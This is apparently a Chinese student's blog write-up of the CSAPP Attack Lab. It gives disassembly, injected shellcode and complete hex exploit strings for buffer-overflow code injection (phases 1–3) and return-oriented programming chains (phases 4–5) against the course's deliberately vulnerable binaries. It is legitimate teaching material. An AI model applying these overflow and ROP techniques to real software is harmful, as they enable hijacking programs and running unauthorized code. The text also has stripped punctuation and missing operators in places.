做网站需要后台吗,腾讯云 wordpress教程视频,免费代理ip地址,网页设计入门书哪本比较好文章目录 前言一、阶段一攻击二、阶段二攻击三、阶段三攻击四、阶段四攻击五、阶段五攻击总结 前言
一个本硕双非的小菜鸡#xff0c;备战24年秋招。刚刚看完CSAPP#xff0c;真是一本神书啊#xff01;遂尝试将它的Lab实现#xff0c;并记录期间心酸历程。 代码下载
官方… 文章目录 前言一、阶段一攻击二、阶段二攻击三、阶段三攻击四、阶段四攻击五、阶段五攻击总结 前言
一个本硕双非的小菜鸡备战24年秋招。刚刚看完CSAPP真是一本神书啊遂尝试将它的Lab实现并记录期间心酸历程。 代码下载
官方网站CSAPP官方网站
以下是官方文档翻译 此任务涉及到对两个具有不同安全漏洞的程序生成总共5次攻击。您将从这个实验室获得的结果包括 您将了解到当程序不能很好地保护自己以防止缓冲区溢出时攻击者可以利用安全漏洞。 通过此方法您将更好地了解如何编写更安全的程序以及编译器和操作系统提供的一些特性以使程序更不容易受到攻击。 您将更深入了解x86-64机器代码的堆栈和参数传递机制。 您将更深入地了解x86-64指令是如何编码的。 您将获得更多使用GDB和OBJDUMP等调试工具的经验。 注意在本实验室中您将获得有关利用操作系统和网络服务器中的安全弱点的方法的第一手经验。我们的目的是帮助您了解程序的运行时操作并了解这些安全弱点的本质以便当您在编写系统代码时能够避免它们。我们不允许使用任何其他形式的攻击来获得对任何系统资源的未经授权的访问。
注:
README.txt描述目录内容的文件 ctarget:易受代码注入攻击的可执行程序 rtarget:易受面向返回编程攻击的可执行程序 cookie.txt一个八位十六进制代码您将在攻击中作为唯一标识符。 farm.c目标的“小工具场”的源代码您将使用它来生成面向返回的编程攻击。 hex2raw:一个用于生成攻击字符串的实用程序。
要点 您的利用字符串不能在任何中间位置包含字节值0x0a因为这是换行符的ASCII代码“\n”。当获取遇到此字节时它将假定您打算终止该字符串。 hex2raw期望由一个或多个空格分隔的两位十六进制值。所以如果你想这样做的话创建一个十六进制值为0的字节您需要将其写为00。要创建单词0xdeadbeef您应该将“efbeadde”传递给HEX2RAW注意小端字节排序所需的反转。 如果./ctarget 不好使提示FAILED: Initialization error: Running on an illegal host [ubuntu16] 后面加个-q./ctarget -q
实验简单来说分为两大部分第一部分为代码注入攻击第二部分是ROP攻击。 在前三个阶段您的利用字符串将攻击c目标。这个程序的设置方式是堆栈的位置从一次运行到下一次运行都是一致的因此堆栈上的数据可以被视为可执行代码。这些特性使程序容易受到攻击其中利用字符串包含可执行代码的字节编码。
目标程序 从标准输入的ct和rt读取字符串。它们使用下面定义的函数getbuf来这样做 函数Gets与标准库函数类似—它从标准输入以“\n”或文件结尾读取字符串并将其存储在指定 的目的地连同空终止符。在这段代码中您可以看到目标是一个数组buf声明为具有BUFFER_SIZE字节。在生成目标的时候BUFFER_SIZE是一个特定于您的程序版本的编译时常数。 函数获取Gets()而获取gets()但无法确定它们的目标缓冲区是否足够大以存储它们读取的字符串。 它们只是复制字节序列可能覆盖在目标上分配的存储的边界。如果由用户键入并由getbuf读取的字符串足够短那么很明显getbuf将返回1
一、阶段一攻击
对于阶段1您将不会注入新的代码。相反利用字符串将重定向程序以执行现有的过程。 函数getbuf在目标内通过函数测试调用具有以下C代码
1 void test()
2 {
3 int val;
4 val getbuf();
5 printf(No exploit. Getbuf returned 0x%x\n, val);
6 }当getbuf执行它的返回语句getbuf的第5行时程序通常会在函数测试中恢复执行在这个函数的 第5行。我们想改变这种行为。在文件目标中有一个具有以下C表示的函数touch1的代码
1 void touch1()
2 {
3 vlevel 1; /* Part of validation protocol */
4 printf(Touch1!: You called touch1()\n);
5 validate(1);
6 exit(0);
7 }说明中有一句**buf在getbuf的堆栈帧中的位置取决于编译时常数BUFFER_SIZE的值以及GCC所使用的分配策略。您将需要检查已拆卸的代码以确定其位置。**这句话很关键
还是跟BombLab相同的操作先进行反汇编。 objdump -d ctarget ctarget.asm 然后让我们看一看touch1的汇编代码
00000000004017c0 touch1:4017c0: 48 83 ec 08 sub $0x8,%rsp4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc vlevel4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi4017d3: e8 e8 f4 ff ff callq 400cc0 putsplt4017d8: bf 01 00 00 00 mov $0x1,%edi4017dd: e8 ab 04 00 00 callq 401c8d validate4017e2: bf 00 00 00 00 mov $0x0,%edi-4017e7: e8 54 f6 ff ff callq 400e40 exitplt我们可以看到如果想要进行攻击操作就要到达touch1的地址也就是00000000004017c0。 然后再来看看getbuf的汇编代码
00000000004017a8 getbuf:4017a8: 48 83 ec 28 sub $0x28,%rsp4017ac: 48 89 e7 mov %rsp,%rdi4017af: e8 8c 02 00 00 callq 401a40 Gets4017b4: b8 01 00 00 00 mov $0x1,%eax4017b9: 48 83 c4 28 add $0x28,%rsp4017bd: c3 retq 4017be: 90 nop4017bf: 90 nopgetbuf读取到了0x28也就是40字节。如果我们想进行攻击那么就把这40字节统统填满我就简单全塞00了然后跟上touch1的地址。所以我们可以得出答案 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00 此处应注意x86系统为小端字节序所以touch1的地址应该是反过来的。 记得新建一个txt把答案放进去我起名为phase1。按照参考文档给出的方法启动**./hex2raw phase1 | ./ctarget -q** 总之
二、阶段二攻击
阶段2涉及到注入少量的代码作为您的利用字符串的一部分。 在文件中有一个具有以下C表示的函数touch2的代码
1 void touch2(unsigned val)
2 {
3 vlevel 2; /* Part of validation protocol */
4 if (val cookie) {
5 printf(Touch2!: You called touch2(0x%.8x)\n, val);
6 validate(2);
7 } else {
8 printf(Misfire: You called touch2(0x%.8x)\n, val);
9 fail(2);
10 }
11 exit(0);
12 }您的任务是让ctorgort执行touch2的代码而不是返回到测试中。然而在这种情况下您必须让它 看起来touch2就好像你已经通过了你的cookie作为它的论点。
一些建议 您将希望定位注入代码的地址的字节表示getbuf代码末尾的ret指令将把控制转移给它。 回想一下一个函数的第一个参数是在寄存器%rdi中传递的。 您注入的代码应该将寄存器设置为cookie然后使用ret指令将控制转移到touch2中的第一个指令。 不要尝试使用jmp或调用指令。这些指令的目的地地址的编码很难制定。使用ret指令的所有控制转移即使你没有从一个呼叫返回。请参见附录B中关于如何使用工具来生成指令序列的字节级表示的讨论。
让我们看一看touch2的汇编代码
00000000004017ec touch2:4017ec: 48 83 ec 08 sub $0x8,%rsp4017f0: 89 fa mov %edi,%edx4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc vlevel4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 cookie401802: 75 20 jne 401824 touch20x38401804: be e8 30 40 00 mov $0x4030e8,%esi401809: bf 01 00 00 00 mov $0x1,%edi40180e: b8 00 00 00 00 mov $0x0,%eax401813: e8 d8 f5 ff ff callq 400df0 __printf_chkplt401818: bf 02 00 00 00 mov $0x2,%edi40181d: e8 6b 04 00 00 callq 401c8d validate401822: eb 1e jmp 401842 touch20x56401824: be 10 31 40 00 mov $0x403110,%esi401829: bf 01 00 00 00 mov $0x1,%edi40182e: b8 00 00 00 00 mov $0x0,%eax401833: e8 b8 f5 ff ff callq 400df0 __printf_chkplt401838: bf 02 00 00 00 mov $0x2,%edi40183d: e8 0d 05 00 00 callq 401d4f fail401842: bf 00 00 00 00 mov $0x0,%edi401847: e8 f4 f5 ff ff callq 400e40 exitplt我们可以看到如果想要进行攻击操作一样要到达touch2的地址需要传入一值与cookie一致我的cookie值为0x59b997fa存放在cookie.txt中。 由于题目要求不能使用jump和call指令但是我们可以用ret指令进行操作。汇编的ret指令是用于从一个子程序返回到调用它的主程序的指令。它会将栈中存储的返回地址弹出并跳转到这个地址继续执行。 所以我们的操作就是
先把cookie的值放入%rdi 寄存器里面作为第一个参数传入。压入touch2的地址也就是00000000004017ec使用ret操作
相对应的汇编代码为
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret我们先新建一个.s汇编文件我这里是phase2.s然后再进行反汇编。 新建vi phase2.s 得到目标文件gcc -c phase2.s 反汇编objdump -d phase2.o 好的我们已经知道了这三条指令的机器指令写法了之后就是往rsp里注入了我们需要知道rsp的地址。 首先在getbuf地址为00000000004017a8打上断点然后执行。提示没有buf.c不用管然后使用stepi命令进入函数查看%rsp的值可以看出栈顶地址为0x5561dc78。 所以我们可以得出答案 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 记得新建一个txt把答案放进去我起名为phase2。按照参考文档给出的方法启动**./hex2raw phase2 | ./ctarget -q** 总之
三、阶段三攻击
阶段3还涉及到一个代码注入攻击但要将一个字符串作为参数传递。 在文件ctoroct中有hexmatch和touch3的代码具有以下C表示
1 /* Compare string to hex represention of unsigned value */
2 int hexmatch(unsigned val, char *sval)
3 {
4 char cbuf[110];
5 /* Make position of check string unpredictable */
6 char *s cbuf random() % 100;
7 sprintf(s, %.8x, val);
8 return strncmp(sval, s, 9) 0;
9 }
10
11 void touch3(char *sval)
12 {
13 vlevel 3; /* Part of validation protocol */
14 if (hexmatch(cookie, sval)) {
15 printf(Touch3!: You called touch3(\%s\)\n, sval);
16 validate(3);
17 } else {
18 printf(Misfire: You called touch3(\%s\)\n, sval);
19 fail(3);
20 }
21 exit(0);
22 }您的任务是让ctorgort执行touch3的代码而不是返回到测试中。你必须让它看起来touch3就好像你传递了cookie的字符串表示作为它的参数。一些建议 您将需要在利用漏洞的字符串中包含cookie的字符串表示形式。字符串应该由8个十六进制数字从最重要到最不重要的排序组成没有前导的“0x”。 回想一下一个字符串用C表示为一个字节序列后面跟一个值为0的字节。类型来查看您所需要的字符的字节表示。 您注入的代码应该将寄存器%rdi设置为此字符串的地址。 当调用hexmatch和strncmp时它们会将数据推送到堆栈中覆盖包含getbuf使用的缓冲区的内存部分。因此您需要小心放置cookie的字符串表示的位置。
和touch2类似都是比较参数与cookie是否相同但是这次是以字符串的形式还是老样子让我们看一看touch3的汇编代码
00000000004018fa touch3:4018fa: 53 push %rbx4018fb: 48 89 fb mov %rdi,%rbx4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc vlevel401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 cookie401911: e8 36 ff ff ff callq 40184c hexmatch401916: 85 c0 test %eax,%eax401918: 74 23 je 40193d touch30x4340191a: 48 89 da mov %rbx,%rdx40191d: be 38 31 40 00 mov $0x403138,%esi401922: bf 01 00 00 00 mov $0x1,%edi401927: b8 00 00 00 00 mov $0x0,%eax40192c: e8 bf f4 ff ff callq 400df0 __printf_chkplt401931: bf 03 00 00 00 mov $0x3,%edi401936: e8 52 03 00 00 callq 401c8d validate40193b: eb 21 jmp 40195e touch30x6440193d: 48 89 da mov %rbx,%rdx401940: be 60 31 40 00 mov $0x403160,%esi401945: bf 01 00 00 00 mov $0x1,%edi40194a: b8 00 00 00 00 mov $0x0,%eax40194f: e8 9c f4 ff ff callq 400df0 __printf_chkplt401954: bf 03 00 00 00 mov $0x3,%edi401959: e8 f1 03 00 00 callq 401d4f fail40195e: bf 00 00 00 00 mov $0x0,%edi401963: e8 d8 f4 ff ff callq 400e40 exitplt似乎不是很难就把cookie值0x59b997fa转换成字符串传到getbuf缓冲区就好了但是我们需要注意其hexmatch函数他开启了110字节的空间并且在汇编代码中连续进行push操作。而且touch3几乎是开头就调用了这个函数很容易就把我们刚存储好的数据破坏。
000000000040184c hexmatch:40184c: 41 54 push %r1240184e: 55 push %rbp40184f: 53 push %rbx401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp401854: 41 89 fc mov %edi,%r12d401857: 48 89 f5 mov %rsi,%rbp40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax401861: 00 00 401863: 48 89 44 24 78 mov %rax,0x78(%rsp)401868: 31 c0 xor %eax,%eax40186a: e8 41 f5 ff ff callq 400db0 randomplt40186f: 48 89 c1 mov %rax,%rcx401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx401879: 0a d7 a3 40187c: 48 f7 ea imul %rdx40187f: 48 01 ca add %rcx,%rdx401882: 48 c1 fa 06 sar $0x6,%rdx401886: 48 89 c8 mov %rcx,%rax401889: 48 c1 f8 3f sar $0x3f,%rax40188d: 48 29 c2 sub %rax,%rdx401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax401894: 48 8d 04 80 lea (%rax,%rax,4),%rax401898: 48 c1 e0 02 shl $0x2,%rax40189c: 48 29 c1 sub %rax,%rcx40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx4018a3: 45 89 e0 mov %r12d,%r8d4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx4018b2: be 01 00 00 00 mov $0x1,%esi4018b7: 48 89 df mov %rbx,%rdi4018ba: b8 00 00 00 00 mov $0x0,%eax4018bf: e8 ac f5 ff ff callq 400e70 __sprintf_chkplt4018c4: ba 09 00 00 00 mov $0x9,%edx4018c9: 48 89 de mov %rbx,%rsi4018cc: 48 89 ef mov %rbp,%rdi4018cf: e8 cc f3 ff ff callq 400ca0 strncmpplt4018d4: 85 c0 test %eax,%eax4018d6: 0f 94 c0 sete %al4018d9: 0f b6 c0 movzbl %al,%eax4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi4018e8: 00 00 4018ea: 74 05 je 4018f1 hexmatch0xa54018ec: e8 ef f3 ff ff callq 400ce0 __stack_chk_failplt4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp4018f5: 5b pop %rbx4018f6: 5d pop %rbp4018f7: 41 5c pop %r124018f9: c3 retq 如果我们想进行攻击那么可以把要输入的cookie值放在输入字符串操作的后面除了起始地址需要改变几乎与touch2代码一致。 由第二题我们知道栈顶地址为0x5561dc78。所以现地址为0x5561dc78 二代码的48个字节转为2进制就是30 0x5561dca8。 所以我们可以得出答案(改动第一行的原地址改为5561dca8第二行由之前的touch2地址改为4018fa也就是touch3的地址 最后多加了一行cookie值的字符串ascll16进制值表示这里直接查ascll表就好啦总之是35 39 62 39 39 37 66 61 00 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 总之
四、阶段四攻击 gadgets操作也就是第四、五次攻击的方法 对程序目标执行代码注入攻击比执行程序目标要困难得多因为它使用了两种技术来阻止这类攻击 它使用随机化以便不同运行的堆栈位置不同。这使得您无法确定您所注入的代码将位于何处。 它将保存堆栈的内存部分标记为不可执行文件因此即使您可以将程序计数器设置为注入代码的开始程序也会因为分段故障而失败。
幸运的是聪明的人设计了策略通过执行现有的代码而不是注入新的代码来在程序中完成有用的事情。这其中最一般的形式被称为面向返回的编程ROP[1,2]。使用ROP的策略是识别现有程序中的字节序列其中包含由一个或多个指令和指令ret组成的字节序列。这样的节段被称为gadget。图中说明了如何设置堆栈来执行ngadgets的序列。在此图中堆栈包含一系列gadgets地址。每个gadgets由一系列指令字节组成最后一个是0xc3编码ret指令。当程序执行从此配置开始的ret指令时它将启动一个gadgets执行链在每个gadgets的末尾的ret指令将导致程序跳转到下一个指令的开始。
这张图很重要
一个gadgets可以使用与由编译器生成的汇编语言语句相对应的代码特别是位于函数末端的语句。在实践中可能有一些这种形式的有用的小工具但还不足以实现许多重要的操作。例如一个编译的函数不太可能将popq %rdi作为其在ret之前的最后一条指令。幸运的是对于一个面向字节的指令集如x86-64通常可以通过从指令字节序列的其他部分提取模式来找到一个gadgets。
例如一个版本的rtarget包含为以下C函数生成的代码
void setval_210(unsigned *p)
{
*p 3347663060U;
}这个函数对攻击系统有用的可能性似乎很小。但是这个函数的可拆卸的机器代码显示了一个有趣的字节序列
0000000000400f15 setval_210:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq字节序列48 89 c7编码指令movq %rax%rdi。关于有用的movq指令的编码请见图3A。这个序列后面是字节值c3它对ret指令进行编码。该函数从地址0x400f15开始并且该序列从该函数的第四个字节开始。因此此代码包含一个gadgets其起始地址为0x400f18它将复制寄存器%rax中的64位值以注册%rdi。
您的rtaroct代码包含许多函数类似于上面在我们称为gadgets场的区域中显示的setval_210函数。
您的工作将是识别gadgets场中有用的gadgets并使用这些gadgets来执行类似于您在第2阶段和第3阶段所做的攻击。 重要信息gadgets场是由目标副本中的st和结束场功能划分的。不要尝试从程序代码的其他部分构造gadgets。 阶段四正式开始 对于阶段4您将重复阶段2的攻击但要使用来自gadgets场中的小工具进行程序目标攻击。您可以使用由以下指令类型组成的gadgets并且只使用前8个x86-64寄存器%rax-%rdi来构建解决方案。
movq这些代码的代码如图3A所示。 popq这些代码的代码如图3B所示。 ret此指令由单个字节0xc3编码。 注意这个指令发音为“noop”是“no操作”的缩写是由单个指令编码的字节0x90。它唯一的效果是使程序计数器增加1。 一些建议 您需要的所有gadgets都可以在由功能开始于农场和中间农场。 你可以只用两个gadgets来进行这次攻击。 当一个gadgets使用一个popq指令时它将从堆栈中弹出数据。因此利用字符串将包含gadgets地址和数据的组合。 我的理解 简单来说就是不能像前三个那样精准定位了OP攻击中设置了栈随机化。但是我们可以“断章取义”就像例子中提到那样c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi) 断章取义成48 89 c7 movq %rax%rdi整个意思就变了。 我们要去找到这样的代码段且这样的代码段以ret结束这就是题中提到的gadgets。 这里是文档中给到的汇编指令对应的二进制代码。
首先仍然是先进行反汇编 objdump -d rtarget rtarget.asm 能用到的gadgets是在start_farm 到 mid_farm 区间内具体如下
0000000000401994 start_farm:401994: b8 01 00 00 00 mov $0x1,%eax401999: c3 retq 000000000040199a getval_142:40199a: b8 fb 78 90 90 mov $0x909078fb,%eax40199f: c3 retq 00000000004019a0 addval_273:4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax4019a6: c3 retq 00000000004019a7 addval_219:4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax4019ad: c3 retq 00000000004019ae setval_237:4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)4019b4: c3 retq 00000000004019b5 setval_424:4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)4019bb: c3 retq 00000000004019bc setval_470:4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)4019c2: c3 retq 00000000004019c3 setval_426:4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)4019c9: c3 retq 00000000004019ca getval_280:4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax4019cf: c3 retq 00000000004019d0 mid_farm:4019d0: b8 01 00 00 00 mov $0x1,%eax4019d5: c3 retq touch2我们所做的操作有
先把cookie的值放入%rdi 寄存器里面作为第一个参数传入。压入touch2的地址也就是00000000004017ec使用ret操作
相对应的汇编代码为
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret而现在我们只能使用gadget来操作大致指令应如下
popq %rax
movq %rax, %rdi与图中比较popq %rax为58movq %rax, %rdi为48 89 c7。 回到rtarget的反汇编程序中搜索包含这两个数字的gadget代码为
00000000004019a0 addval_273:4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax4019a6: c3 retq
00000000004019c3 setval_426:4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)4019c9: c3 retq
00000000004019ca getval_280:4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax4019cf: c3 retq
00000000004019a7 addval_219:4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax4019ad: c3 retq
随便对应选一个就成首先先把这40字节统统填满我就简单全塞00了然后跟上gadget的地址使得getbuf程序退出之后跳转到gadget处执行之后gadget执行pop %rax指令从栈顶弹出cookie值之后将cookie值放入%rdi中最后gadget执行retq指令从栈顶弹出touch2地址从而使得程序直接跳转到touch2执行。 所以我们可以得出答案 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 19 40 00 00 00 00 00 /我取的280记得地址58的位置数/ fa 97 b9 59 00 00 00 00 /cookie值/ c5 19 40 00 00 00 00 00 /我取的426记得地址48的位置数/ ec 17 40 00 00 00 00 00/touch2地址值/
此处应注意x86系统为小端字节序 记得新建一个txt把答案放进去我起名为phase4。按照参考文档给出的方法启动**./hex2raw phase4 | ./rtarget -q** 总之 ps:反汇编中58还有一个是
00000000004019b5 setval_424:4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)4019bb: c3 retq 这个是不行的发现与219和280区别是58后面接的是90而不是92根据提示nop是90所以应该也是这个424不能用的原因大概吧。。。
五、阶段五攻击
在你开始第五阶段之前停下来考虑一下到目前为止你已经完成了什么。在阶段2和阶段3中您让一个程序执行您自己设计的机器代码。如果ctarort是一个网络服务器您可以将自己的代码注入到遥远的机器中。在阶段4中您绕过了现代系统用来阻止缓冲区溢出攻击的两个主要设备。虽然您没有注入您自己的代码但您可以注入一种通过将现有代码的序列拼接在一起来操作的程序类型。你的实验室也得到了95/100分。这是一个很好的分数。如果你有其他紧迫的义务可以考虑现在就停止吧。 阶段5要求您对rroget进行ROP攻击以使用指向cookie字符串表示的指针调用函数touch3。这看起来并不比使用ROP攻击来调用touch2困难多少只是我们已经做到了。此外阶段5只计算5分这不是它所需努力的真正衡量。对于那些想要超出对该课程的正常预期的人来说这更像是一个额外的信用问题。
ps爷在前几个题被你们一顿拷打现在终于见到曙光了你让爷放弃想得美
要解决阶段5您可以使用由start场和端场划分的代码区域中的小工具。除了在阶段4中使用的gadget之外这个扩展的农场还包括了不同的movl指令的编码如图3C所示。服务器场的这部分中的字节序列还包含作为功能空值的2字节指令也就是说它们不改变任何寄存器或内存值。这些指令包括如图3D所示的指令如andb %al%al它们操作一些寄存器的低阶字节但不改变它们的值。 一些建议 您将想要查看movl指令对寄存器上4个字节的影响例如在文本的第183页中进行了描述。 官方的解决方案需要8个gadget并不是所有的小工具都是唯一的。 祝你好运玩得开心吧ps怎么有股不祥的预感。。。 touch3我们所做的操作有
除了起始地址需要改变几乎与touch2代码一致把要输入的cookie值放在输入字符串操作的后面。 头疼了没办法确定字符串存放地址。。。只能通过“栈顶地址偏移地址”的方式去表示。直接加法还没有得自己手动实现有寄存器互加add_xy 我们要做的操作有
找一个基准也就是%rsp先把它放进%rdi或%rsi中再将偏移地址放入另一个通过使用add_xy加起来放入%rax中再传给%rdi调用touch3 add_xy汇编代码
00000000004019d6 add_xy:4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax4019da: c3 retq 想法很美好现实很残酷没有movq %rsp, %rdi。。。只能为了走直线而走弯路了有movq %rsp, %rax这条指令先中转到%rax再转%rdi。 然后寻找偏移地址传%rsi结果也没找到popq %rsi。跟%rsi相关的只有一个movl %ecx, %esi。 然后就是一直反推跟%ecx相关的有movl %edx, %ecx跟%edx相关的有movl %eax, %edxpopq %rax是有的。这段强烈感谢各位前辈大佬的种树有了你们我们这些后人才能好乘个凉 相对应的汇编代码为
movq %rsp, %rax
movq %rax, %rdi
popq %rax
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
lea (%rdi,%rsi,1),%rax
movq $rax, %rdi这才勉强得出答案 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1a 40 00 00 00 00 00 /我取的190记得地址48的位置数/ c5 19 40 00 00 00 00 00 /我取的426记得地址48的位置数/ cc 19 40 00 00 00 00 00 /我取的280记得地址58的位置数/ 48 00 00 00 00 00 00 00 /偏移地址就是一共9条指令每条8字节48/ dd 19 40 00 00 00 00 00 /我取的481记得地址89的位置数小心这个别和48那个重了/ 34 1a 40 00 00 00 00 00 /我取的159记得地址89的位置数/ 13 1a 40 00 00 00 00 00 /我取的436记得地址89的位置数/ d6 19 40 00 00 00 00 00 /lea (%rdi,%rsi,1),%rax也就是add_xy的地址/ c5 19 40 00 00 00 00 00 /我取的426记得地址48的位置数/ fa 18 40 00 00 00 00 00/touch3地址值/ 35 39 62 39 39 37 66 61 00 /cookie值直接拿touch3求出来的就好/ 此处应注意x86系统为小端字节序 记得新建一个txt把答案放进去我起名为phase5。按照参考文档给出的方法启动**./hex2raw phase5 | ./rtarget -q** 总之 总结
现在的我完全不想码骚话脑子混混帐帐字都打错了已经不行了。。。 第二天早上来继续码骚话这五次攻击的练习对汇编、对栈的存储乃至往远了说对以后的编程注意点都是一个不小的提升只能说一边被虐一边学习痛并快乐着。该不会觉醒什么奇奇怪怪的爱好了吧